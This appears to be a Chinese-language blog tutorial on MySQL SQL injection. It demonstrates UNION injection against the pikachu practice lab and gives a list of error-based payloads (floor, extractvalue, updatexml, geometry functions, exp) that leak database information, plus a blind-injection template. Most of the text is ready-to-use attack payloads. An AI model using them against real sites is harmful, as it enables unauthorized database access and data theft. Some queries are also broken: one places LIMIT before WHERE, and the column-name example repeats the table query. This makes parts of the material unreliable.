MySql教程

sql注入之Mysql数据库(二)

本文主要是介绍sql注入之Mysql数据库(二),对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

1.前言

前面述说了Mysql渗透时用的基础知识后,本章内容述说Mysql注入时所用的语法知识

2.如何判断是否有注入点

直接使用awvs扫描器或者xray被动扫描,手工的话使用'和and 1=1判断吧

3.Mysql注入语句

查表名
第一种:select group_concat(table_name) from information_schema.tables where table_schema=database()
第二种:select table_name from information_schema.tables limit 0,1 where table_schema=database()
查列名
第一种:select group_concat(column_name) from information_schema.columns where table_name='test2'
第二种:select table_name from information_schema.tables limit 0,1 where table_schema=database()
查字段值
select aaa from test2 limit 0,1

4.Mysql注入语法的说明

1.union 注入

首先先order by查询字段(注意在url字段要url编码,后续为了直观都是url解码后的结果)

http://192.168.1.101/pikachu/vul/sqli/sqli_str.php?name=1' order by 2 #&submit=查询



即代表存在两个字段,当然可以直接使用union进行判断

http://192.168.1.101/pikachu/vul/sqli/sqli_str.php?name=-1' union select 1,2 #&submit=查询



然后再对应的回显字段套入响应的sql语句即可

2.报错注入

说明:其中有些报错会对Mysql的版本有要求,具体原理请自行查询,这里本人把实验操作弄丢了(尴尬了。。。)。

1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2.extractvalue()=
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));

3.盲注

1、时间(布尔)盲注

原理:通过条件语句,判断返回的结果值是否满足触发时间函数或者布尔结果,利用二分法来对结果进行定位。
这里给一个语句模板

and if((sql语句),时间函数,1) %23

建议:这里使用sqlmap等sql注入工具进行注入更加。

这篇关于sql注入之Mysql数据库(二)的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!